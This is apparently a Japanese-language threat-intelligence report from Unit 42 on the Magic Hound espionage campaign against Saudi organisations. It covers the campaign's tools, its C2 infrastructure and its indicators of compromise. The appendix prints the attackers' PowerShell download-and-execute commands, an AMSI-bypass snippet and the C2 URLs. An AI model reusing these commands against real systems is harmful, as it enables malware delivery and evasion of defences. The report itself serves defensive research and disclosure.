This post is also available in: English (英語)
概要
Palo Alto NetworksのUnit 42脅威インテリジェンス チームは、持続型攻撃活動が主に中東で行われているのを発見しましたが、この攻撃活動は少なくとも2016年中頃までに遡ります。私たちはこの活動をMagic Houndと命名しました。これはスパイ活動に重点をおいた攻撃活動のようです。私たちの見たところ、エネルギー産業、政府部門、およびテクノロジ産業の組織を主に標的としてきましたが、これらの組織はサウジアラビアに所在するか、あるいはサウジアラビアでビジネスをしています。攻撃者は、追跡期間中に戦略と手法を進化させたようです。そのために、種々のツールセットを様々な攻撃のうねりの中で繰り返し使ってきました。インフラストラクチャおよびツールの関連性の分析により、Magic Houndと、“Rocket Kitten” (別名Operation Saffron Rose、Ajax Security Team、Operation Woolen-Goldfish)と呼ばれる攻撃者グループと、さらにはNewscastersと呼ばれる従来の攻撃活動との、潜在的な関係も明らかになりました。この攻撃活動の痕跡についても、先日、Secureworks CTUが公表しました。
私たちは、AutoFocus 脅威インテリジェンス ツールを使って、Magic Hound攻撃活動が使うツールのサンプルを50個以上収集することができました。私たちが収集できた最も古いマルウェア サンプルは、コンパイル時のタイムスタンプが2016年5月でした。サンプルは、IRCボット、オープンソースのPythonリモート アクセス ツール、悪意のあるマクロなどと様々でした。特定のツールの利用は、この攻撃者による特定の攻撃のうねりと一致している場合があったと考えられます。また、悪意のあるマクロを備えた、武器化されたMicrosoft Officeドキュメントを利用する最新の攻撃と一致している場合もあったと考えられます。収集したデータが大量であり、攻撃テレメトリが限られていることから、このブログ記事では、主に、2016年後半に起きた最新攻撃に的を絞ります。
攻撃の詳細
Magic Houndとの関連性のある当初収集したサンプルはMicrosoft WordおよびExcelのドキュメントで、埋め込みの悪意のあるマクロが中に含まれていました。インフラストラクチャとツールの挙動に軸足を置くことで、私たちのデータ セットを拡張することができました。これにより、Magic Houndが使っているツールの新たな種類が発見されました。そうしたツールには、例えば、通常のPortable Executable (PE)ペイロード、.NET FrameworkでコンパイルされたPEファイル、様々な形態のIRCボット、およびPupyと呼ばれるオープンソースのファイルレスPythonリモート アクセス ツールなどがあります。
武器化されたOfficeドキュメントが、侵害された正規のWebサイトとおぼしきもの、または見かけ上は正規のドメイン名と類似のドメイン名を使っているWebサイトのいずれかで提供されていることが分かりました。私たちが特定できた2つの正規のWebサイトは、政府部門の組織とエネルギー産業の組織が所有していました。これらの悪意のあるファイルが正規のWebサイトに存在していることから、これらのWebサイトは既に何らかの方法で侵害されていたことは、ほぼ間違いありません。調査の時点で、ファイルはすでにWebサイトから削除されていました。他の2つの配信サイトは、サウジアラビアに拠点を置く情報通信技術コングロマリットを詐称しようとしている可能性のあるntg-sa[.]comと、労働省を詐称しようとしている可能性のあるmol.com-ho[.]meでした。3番目の配信サイトはits.com-ho[.]meで識別されましたが、its.com-ho[.]meは見たところ無害なドメインかもしれません。
これらの文書のうちいくつかは、見たところ無関係で無害そうなドメインbriefl[.]inkでも発見されました。
そうなると、攻撃者がスピアフィッシング攻撃を使った可能性が濃厚ですが、この攻撃では、こうした悪意のある文書へのリンクが配信メカニズムとして含まれています。Magic Houndの標的になった政府部門、エネルギー産業、およびテクノロジ産業の複数の組織を最終的に特定することができました。
武器化された文書はすべてそれ自身に、Windows PowerShellを呼び出してさらにツール取り出すよう設計された悪意のあるマクロが含まれていました。テーマが別々の、一握りの擬似餌(ルアー)が、18個の収集済み文書すべてにわたって、変化をつけながら繰り返し使われました。文書は、サウジアラビア政府の公式書類のひな型に見せかけるものからクリスマス カードに見せかけるものまでありました。政府の公式文書に見せかけたひな型には、具体的に言うと、保健省および商務省を示す画像が使われており、マクロを有効にしなければならない必要書類である旨の記載がありました。文書のいくつかの例を以下に示します。
インフラストラクチャ
武器化された文書の分析により、いくつかの特性が直ちに明らかになりました。文書の大多数は、“gerry knight”という名前を文書のメタデータの作成者欄に使っていました。また、埋め込みのマクロは、ドメイン名を使わずコマンド アンド コントロール(C2)への直接的なIP接続を主として使用していました。これらのC2サーバも、見たところ互いに無関係のようで、様々なVPSプロバイダーでホスティングされていました。しかし、作成者名“gerry knight”を使用していた2つのWordドキュメントが、www1.chrome-up[.]dateおよびwww3.chrome-up[.]dateという2つの特定のドメインのC2サーバと通信しているのが分かりました。これらのドメインを足掛かりに、私たちのデータ セットを拡張することができました。次に示すように、関連性の分析は非常に有益な結果となりました。
別々の組のツールが、2つのWordドキュメントの通信相手であった、まさに同じC2サーバと通信しているところをさっそく発見しました。さらに、他のツールが、以下の図で示すとおり、chrome-up[.]dateに関する別のサブドメインのバリエーションと通信しているところも発見しました。
そうしたことから、インフラストラクチャの大きな図を作成し、ツールの4つのカテゴリ(ダウンローダー、ドロッパー、ローダー、ペイロード)に分類することができました。当初まったく共通点がなく別々の攻撃活動であるように見えたものが、極めて具体的な目的を念頭においた長期間持続される攻撃活動であるように、急に見えてきました。
インフラストラクチャの再利用、挙動に関する照合、および永続性を維持するための特定ファイルの再利用により、全体で50個以上の異なるサンプルを収集することができました。これらのツールには、Microsoft Officeドキュメント、Portable Executables (PE)、.NET Framework PEファイル、Meterpreter、IRCボット、オープンソース化されたMeterpreterモジュール(呼称はMagic Unicorn)およびオープンソース化されたPython RAT(呼称はPupy)などがありました。
興味深いことに、私たちのデータ セットを拡張し、足掛かりにすることを続けているうちに、Magic Houndに由来するIRCボットのペイロードが使っているC2のIPアドレスの1つが、MPKと呼ばれる別のIRCボットの配信に使われているものと同一のIPアドレスであることが分かりました。
MPKボットは公開されておらず、かつては“Rocket Kitten”と呼ばれる攻撃者グループが作成したものと考えられていました。このグループは、国家の支援する攻撃者で中東地域で活動していると、多くの場合考えられてきました。同じ地理的範囲においてスパイ活動に重点を置き、1つの特定のIPアドレスを共に使いながらも、どういうわけか関連性を持たないこの2つ攻撃者が異なる可能性は極めて低いのですが、テレメトリが限定されているため、決定的な関連性を示す証拠で、裏付けとなる新たなものは見つかっていません。
MAGIC HOUNDツールセット
Magic Hound攻撃は、標的システムを侵害するためのエクスプロイト コードを利用せず、実行可能ファイルおよびMicrosoft Officeドキュメント(具体的には、悪意のあるマクロを含んでいるExcelおよびWordドキュメント)を利用しました。分析中に、私たちはこうした攻撃のいくつかについて、最終ペイロードを突き止めることができました。1つ目のペイロードはPythonによるオープンソースのリモート管理ツール(RAT)でしたが、これはPupyと呼ばれています。2つ目のペイロードはIRCボットで、これにはMagicHound.Leashと命名しました。このグループがMagic Unicorn モジュールを使ってPowerShellスクリプトを生成し、シェルコード ベースのペイロードを配信したことも確認済みです。Unicornが生成したPowerShellスクリプトからセカンダリ ペイロードを取得することはできませんでしたが、このグループがこのスクリプトを使ってMetasploitのMeterpreterを潜在的なペイロードとして配信したことも間違いないと思います。
Magic Hound攻撃活動が使っている特別仕様のツールを5つのカテゴリに分類しました。表1に対応する名前を記載してあります。これらのツールの詳細については付録を参照してください。
種類 | 名前 |
ドロッパー | MagicHound.DropIt |
実行可能ファイル ローダー | MagicHound.Fetch |
ドキュメント ローダー | MagicHound.Rollover |
ダウンローダー | MagicHound.Retriever |
IRCボット | MagicHound.Leash |
表1 MagicHoundツールの種類と、それに対応する名前
MAGICHOUND.ROLLOVER
Magic Hound攻撃活動はWordおよびExcelドキュメントを利用しました。文書には悪意のあるマクロが配信方法として含まれていました。具体的には、Pupy RATまたはMeterpreterのいずれかをロードしようとするもので、私たちは、このマクロにMagicHound.Rolloverと命名しました。この悪意のあるマクロは、いずれもWindows PowerShellを利用してシェルコード ベースのペイロードをリモート サーバからダウンロードするよう設計されていました。PowerShellスクリプトでは2つの異なる手法が使われていることが分かりました。1つ目は、リモート サーバから取得した文字列を単純にコマンドとして実行します。2つ目の手法は、Meterpreter用のオープンソース モジュールであるMagic Unicornに由来しているようです。具体的には、前記PowerShellスクリプト内のコードを発見しましたが、これはMagic Unicorn内のコードと対応するもので、“one line shellcode injection with native x86 shellcode (ネイティブx86シェルコードによる1行シェルコード インジェクション)”というコメントが入っていました。
MAGICHOUND.FETCH
配信文書内にあるマクロを使ってペイロードをロードする方法の他に、私たちはMagic Hound攻撃活動が実行可能ファイルを使ってセカンダリ ペイロードをリモート サーバからロードしているところを確認しました。使われていた実行可能ファイルは2つとも特別仕様で開発されたローダーです。私たちはこのローダーをMagicHound.Fetchと命名しましたが、これと共に、Pupyが付いてくるデフォルトのローダーが使われていることが分かりました。Fetchローダーにより、このローダー内の属性を使って、このグループの使用するツールをさらに見つけることができましたが、ツールにはバックドアやIRCボットがありました。
Fetchは、まず、標的ホストへの持続的なアクセスを確立し、次いで、セカンダリ ペイロードをリモート サーバから取得しようとします。持続性をセットアップするために、ローダーはファイルを“c:\temp\rr.exe”に書き込み、これを特定のコマンド ライン引数付きで実行し、自動実行レジストリ キーを作成します。Fetch のサンプルは、いずれも、まったく同一の実行可能ファイルをドロップして持続性をセットアップします。
分析対象となったFetchのサンプルの多くは、埋め込み済みの文字列をAESにより暗号化することで、備えている機能を難読化しようとしました。一方で、サンプルはいずれも同じキー“agkrhfpdbvhdhrkj”を使っていました。ローダーの主な目的はPowerShellコマンドを起動してシェルコードを実行することでした。Fetchが使うPowerShellコマンドは、Magic Unicornのソースコード内にあることが分かりましたが、これもMagic Hound配信文書の中で使われていました。このPowerShellによって実行されるシェルコードは、配信文書内のものと全く同じです。シェルコードはMetasploit由来のコードを使いますが、このコードは、以下のURLに対するHTTPリクエストを使用して、新たなシェルコードを取得し実行することができます。
http://www7.chrome-up[.]date/0m5EE
このURLで提供していたシェルコードを取得することはできませんでした。ただし、すでに示唆したとおり、この攻撃者はオープン ソースのMagic Unicornツールを使用してシェルコードベースのペイロード(恐らくMeterpreter)をロードしたのに違いありません。
PUPY LOADER
Pupy RATは、デフォルトでローダー付きの状態でパッケージ化されて提供されます。このローダーは、Windows、macOS、LinuxおよびAndroidといった様々なプラットフォーム上でこのRATを起動することができます。Magic Hound攻撃活動が、Pupyに付いてくる32-bit版および64-bit版のDLLローダーの両方を使ってWindowsシステムを感染させるところがこれまで確認されています。これらのローダーの設定を分析したところ、C2サーバがfully qualified domain name (完全修飾ドメイン名 - FQDN)およびIPアドレスの両方を使っていたことが分かりました。また、設定から“obfs3” (The Threebfuscator)トランスポートを使用していることも分かります。これは、真のTCPベースの通信プロトコルを隠すための難読化手法です。“obfs3”はTorプロジェクトで使用されています。このトランスポートの仕様については、Torプロジェクトを参照してください。
MAGICHOUND.DROPIT
また、Magic Hound攻撃活動が特別仕様のドロッパー ツールを使っているところも発見しましたが、このドロッパー ツールにMagicHound.DropItと命名しました。分析したDropItトロイの木馬は、新たな実行可能ファイルを構築する実行可能ファイルです。この構築は、base64エンコード化データの埋め込み済みブロブをデコードして、それらを正しい順序で結合することで行われます。収集したDropItサンプルのすべてにおいて、ドロッパーは、それに引き続き、実行可能ファイルをユーザーの%TEMP%フォルダに保存し、この保存したファイルを実行します。
また、Magic HoundがDropItをバインダーとして使用しているところも確認しました。具体的には、悪意のある実行可能ファイルとともに正規のおとりの実行可能ファイルをドロップしていました。次に、正規のおとりの実行可能ファイルおよび悪意のある実行可能ファイルはどちらも実行されましたが、悪意のあるファイルがバックグラウンドで稼働する一方、おとりのファイルがユーザーに提示されました。こうした類の戦略は、一般に権限昇格を目的として、被害者に疑念のきっかけを与えないために使われます。ある例において、おとりの実行可能ファイルは正規のFlashインストーラーでした。したがって、被害者の観点から見ると、Flashインストーラーが予期していたとおりの動作をしていると被害者は感じていたことでしょう。
MAGICHOUND.RETRIEVER
DropItサンプルが別のトロイの木馬をインストールしているところが確認されました。私たちは、このトロイの木馬をMagicHound.Retrieverと呼んでいます。おおまかに言うと、Retrieverはセカンダリ ペイロードを取得する.NETダウンローダーであり、取得の際に、設定に埋め込まれているURLをC2として使います。Retrieverは、.NET WebサービスおよびSoapHttpClientProtocolクラスを使って自身のC2サーバと通信します。そして、図4にある例のリクエストのようなHTTPリクエストを生成します。
MAGICHOUND.LEASH
また、Magic Hound攻撃活動は、私たちがMagicHound.Leashと名付けているIRCボットを導入しても見つかりました。C2通信にIRCを使用したバックドア トロイの木馬をインストールするDropItサンプルを見つけたときに、この接続が検出されました。 Leashは、IRCサーバにも接続されている必要のある敵対者から送信されたプライベート メッセージ(PRIVMSG)を介してコマンドを取得します。図5に示されるVERコマンドを除く使用可能なコマンド(付録を参照)はすべて、IRCチャネル内で“AS_”または“AF_”で始まるニックネームを使用して個別に発行される必要があります。
iSightのNEWSCASTERホワイトペーパーで最初に考察されたIRCボットと LEASHの間には多数の類似点があります。iSightのホワイトペーパーではIRCボットの詳細に触れていますが、その中には、C2への接続を試みるときに生成される以下のネットワーク トラフィックで見られるように、IRCチャネルに参加するために使用されたパスワードに基づいてParastooと呼ばれるものもあります。
Parastooトロイの木馬 | MagicHound.Leash |
USER AS_ # # :des
NICK t__982 JOIN :#tistani Parastoo |
USER AS_a # # :des
NICK Conroy JOIN :#kalk |
バイナリ差分を実施したことで、LeashサンプルとParastooサンプル間に67%の類似性があることが明らかになりました。コードの大部分を共有することに加えて、どちらのIRCボットも、システム上でコマンドを実行するには“AF_”または“AS_”で始まるIRCユーザー ニックネームが必要です。また、この2つのボットは、以下の図6で示される“VER”コマンドに対して同様の応答を見せますが、こうした応答はLeashで生成される応答とはわずかに異なります。
MPKBot
また、C2サーバではなく、LeashサンプルがホストされていたC2サーバー用の同じIPを使用して、MPKと呼ばれる2番目のIRCボットも発見されました。このMPK IRCボットは、Rocket Kittenと呼ばれる脅威グループに関するCheckPointによるホワイトペーパーで詳述されているように、カスタムC2通信プロトコルを使用したMPK トロイの木馬に非常によく似ています。このバージョンのMPKトロイの木馬は同じコード ベースに基づいていると確信しています。IRCバージョンと上記ホワイトペーパーで参照されているバージョンの両方には挙動の観点からかなりの類似点があり、また直接コードの上書きも行っています。
結論
Magic Hound攻撃活動は、中東地域で活動するアクティブな持続型スパイ活動に動機付けられた敵対者です。政府、エネルギー分野、テクノロジ分野の組織(具体的には、サウジアラビアに拠点を置くか、事業を展開している組織)が、この敵対者の標的になっています。Magic Hound 攻撃活動で使用されるツールセットは、さまざまなカスタム ツールや一般の方々が入手可能なオープン ソースのツールでした。私たちが解明したツールはいずれもエクスプロイト型ではなかったことが判明しており、またソーシャル エンジニアリングだけに依存したものではありませんでした。Rocket Kitten敵対者グループとの潜在的な関係を検出したものの、この時点でその関係の程度は確認できていません。今後もMagic Houndの活動の監視を続けていきます。
Palo Alto Networksのお客様は、以下を介して保護されています。
- 悪意のあるサンプルのWildFireの識別と検出
- コマンド アンド コントロール サーバは、悪意あるものとして分類されます。
- AutoFocusタグが作成されました
セキュリティ侵害の痕跡
MagicHound.DropIt SHA256
c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d
ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba
da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a
0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab
f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396
860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2
b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061
4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf
5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305
3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502
MagicHound.Fetch PE SHA256
b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c
6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed
16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd
92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5
86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4
c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143
a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06
d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6
79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932
2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a
8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75
abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26
9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656
e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263
ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0
eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a
1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1
29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309
MagicHound.Fetch PE C2
service.chrome-up[.]date
www3.chrome-up[.]date
www7.chrome-up[.]date
timezone[.]live
service1.chrome-up[.]date
104.238.184[.]252
www5.chrome-up[.]date
servicesystem.serveirc[.]com
MagicHound.Fetch DOC SHA256
218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2
e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6
71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087
388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d
33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e
5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da
528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62
66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b
cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864
68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964
e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087
f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143
af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9
6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031
MagicHound.Fetch DOC C2
45.76.128[.]165
139.59.46[.]154
104.218.120[.]128
89.107.62[.]39
69.87.223[.]26
analytics-google[.]org
89.107.60[.]11
www3.chrome-up[.]date
www.microsoftsubsystem.com-adm[.]in
www1.chrome-up[.]date
MagicHound.Fetch XLS SHA256
6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b
97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade
MagicHound.Fetch XLS C2
45.76.128[.]165
139.59.46[.]154
Pupy Loaders SHA256
7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73
db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f
82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190
Pupy Loaders C2
139.59.46[.]154
www1.chrome-up[.]date
MagicHound.Retriever SHA256
1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce
7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823
b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6
3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1
MagicHound.Retriever C2
service.chrome-up[.]date
msservice[.]site
microsoftexplorerservices[.]cloud
MagicHound.Leash SHA256
133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5
ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4
d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf
MagicHound.Leash C2
45.56.123[.]129
syn.timezone[.]live
MPKBot SHA256
d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19
MPKBot C2
45.58.37[.]142
付録
MAGICHOUND.ROLLOVER
Magic Hound攻撃活動では、Pupy RATか、おそらくはMeterpreterのいずれかをロードすることを試みる、悪意のあるマクロを含む文書をはじめとするWord文書やExcel文書が使用されました。このツールをMagicHound.Rolloverと呼んでいます。1つの例では、「First click “Enable Content” above the page, then click here to fill out the form(ページ上部の“コンテンツの有効化”をクリックしてから、ここをクリックしてこのフォームを記入してください)」というラベルのボタンがWord文書に含まれていました。
この文字列は、マクロ内の悪意のあるコードを実行するためにマクロを有効化するようユーザーをだまそうと試みるものです。マクロが実行されると、バックグラウンドで発生している悪意のある活動についてユーザーにあまり疑いを抱かせないようにしようとして、正規文書のコンテンツを含んだ表を表示します。このマクロには、リモート サーバからコンテンツのダウンロードを試みる悪意のあるコードが含まれています。
このマクロはPowerShellを使用して、使用可能な2つの手法の1つを使ってリモート サーバからシェルコードベースのペイロードをダウンロードします。最初の手法はやや単純で、PowerShellの“iex”関数を使用してリモート サーバから取得した文字列を実行します。このマクロは以下のコマンドを実行して最初にこの手法を実行します。
1 |
powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')" |
上記コードは以下のHTTPリクエストを生成し、C2サーバがPowerShellで実行されるスクリプトでそれに応答します。
GET /eiloShaegae1 HTTP/1.1
Host: 139.59.46[.]154:3485
Connection: Keep-Alive
2つ目の方法は、シェルコードのバッファを実行するためのスレッドを作成するのにPowerShellを使用します。私たちはこれについて、攻撃者がMagic Unicornソース コードから取得したと考えています。Unicornソース コードにはこの特定のPowerShellコマンドについてのコメントが含まれ、“ネイティブx86シェルコードによる1行シェルコード インジェクション”として説明されます。
このシェルコードは、追加シェルコードを複合化する役目を担うスタブから始まります。追加シェルコードを複合化するために、このスタブ コードは、0x6CAF9362や追加シェルコードの最初のDWORDであるXORなど、初期のキーで始まります。その後、結果として得られたDWORDを、スタブコードが2つ目とそれ以降のDWORDを複合化するために使用するキーに追加します。追加シェルコードを複合化した後、特に、API関数名を解決するためのblock_api.asmコードおよび追加シェルコードを取得してシステムで実行するためのblock_reverse_http.asmコードを使用して、関数シェルコードがMetasploit Frameworkの一部であることを突き止めました。シェルコードを作成するために使用されたアセンブリ コードは以下から入手できます。
シェルコードの目的は、URL “hxxp://45.76.128[.]165:4443/0w0O6”に対するHTTPリクエストを使用して実行するための追加のシェルコードを取得することです。このURLでホストされているシェルコードについては、はっきりはわかりませんが、Meterpreterのような追加のシェルコードベースのペイロードがこのシェルコードによって提供されている可能性があります。
2つのロールオーバー配信文書(SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634bおよびSHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2)は、URL hxxp://139.59.46[.]154:3485/eiloShaegae1と通信し実行する追加のコードの取得を試行しました。2017年1月1日に、以下のデータとともに、上記HTTPリクエストに応答しているこのURLが観察されました。
1 |
powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip.. |
おわかりのとおり、C2サーバはシステム上で実行するPowerShellコマンドで応答します。PowerShellコマンドは以下のようにデコードされます。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA' if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') { $exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command IEX $exec } else { $exec = [System.Convert]::FromBase64String($command) $exec = [Text.Encoding]::Unicode.GetString($exec) IEX $exec } |
上記スクリプトは、システム アーキテクチャをチェックして、それがx64マシンであるかどうかを判別し、base64でエンコードされたコマンドの実行を試みます。このコマンドは以下のようにデコードされます。
1 2 3 4 5 |
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; try{ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai'); |
このデコードされたPowerShellスクリプトはHTTPを使用して、URL “hxxp://139.59.46[.]154:3485 /IMo8oosieVai”からのファイルのダウンロードと実行を試みます。C2サーバは、このHTTP GETリクエストに対して、大量のデータで応答します。このデータにはPowerShellスクリプトが含まれ、さらにその中に一連のbase64でエンコードされたチャンクとして埋め込まれたDLLペイロードも含まれます。これは、以下のコードを使用してデコードされます。
1 |
$PEBytesTotal = [System.Convert]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11+$PEBytes12+$PEBytes13+$PEBytes14+$PEBytes15+$PEBytes16+$PEBytes17+$PEBytes18+$PEBytes19+$PEBytes20+$PEBytes21+$PEBytes22+$PEBytes23+$PEBytes24+$PEBytes25+$PEBytes26+$PEBytes27+$PEBytes28+$PEBytes29+$PEBytes30+$PEBytes31+$PEBytes32+$PEBytes33+$PEBytes34+$PEBytes35+$PEBytes36+$PEBytes37+$PEBytes38+$PEBytes39+$PEBytes40+$PEBytes41+$PEBytes42+$PEBytes43+$PEBytes44+$PEBytes45+$PEBytes46+$PEBytes47+$PEBytes48+$PEBytes49+$PEBytes50+$PEBytes51+$PEBytes52+$PEBytes53+$PEBytes54+$PEBytes55+$PEBytes56+$PEBytes57+$PEBytes58+$PEBytes59+$PEBytes60+$PEBytes61+$PEBytes62+$PEBytes63+$PEBytes64+$PEBytes65+$PEBytes66+$PEBytes67+$PEBytes68+$PEBytes69+$PEBytes70+$PEBytes71+$PEBytes72+$PEBytes73+$PEBytes74+$PEBytes75+$PEBytes76+$PEBytes77+$PEBytes78+$PEBytes79+$PEBytes80+$PEBytes81+$PEBytes82+$PEBytes83+$PEBytes84+$PEBytes85+$PEBytes86+$PEBytes87) |
PowerShellスクリプトは、DLLペイロードをディスクに保存せずに直接メモリにロードします。Pupyペイロードは以下の設定を使用して生成されました。設定は、C2 IP/ポートおよび“obfs3”トランスポートの使用を示しています。
1 |
LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3'] |
これは、敵対者が以下のPupyモジュールの大半を使用して、配信文書で使用されたPowerShellコマンドを作成したことを表しています。
https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py
MAGICHOUND.FETCH
私たちがMagicHound.Fetchと呼んでいる、このグループによって使用されたカスタム ローダー トロイの木馬は、システムへの持続的なアクセスをセットアップするとともに、セカンダリ ペイロードをダウンロードして実行するためにリモート サーバに到達する役割を担っています。持続性をセットアップするために、ローダーは“c:\temp”という名前のフォルダを作成し、属性を非表示として、Windows Explorerのビューにフォルダが表示されないようにシステム フォルダを設定します。その後、“rr.exe”という名前のファイル(SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e)をこのフォルダに書き込み、特定のコマンド ライン引数を使用してそれを実行します。私たちは、分析時に、以下の引数で“rr.exe”を実行している1つのローダーを見つけました。
1 |
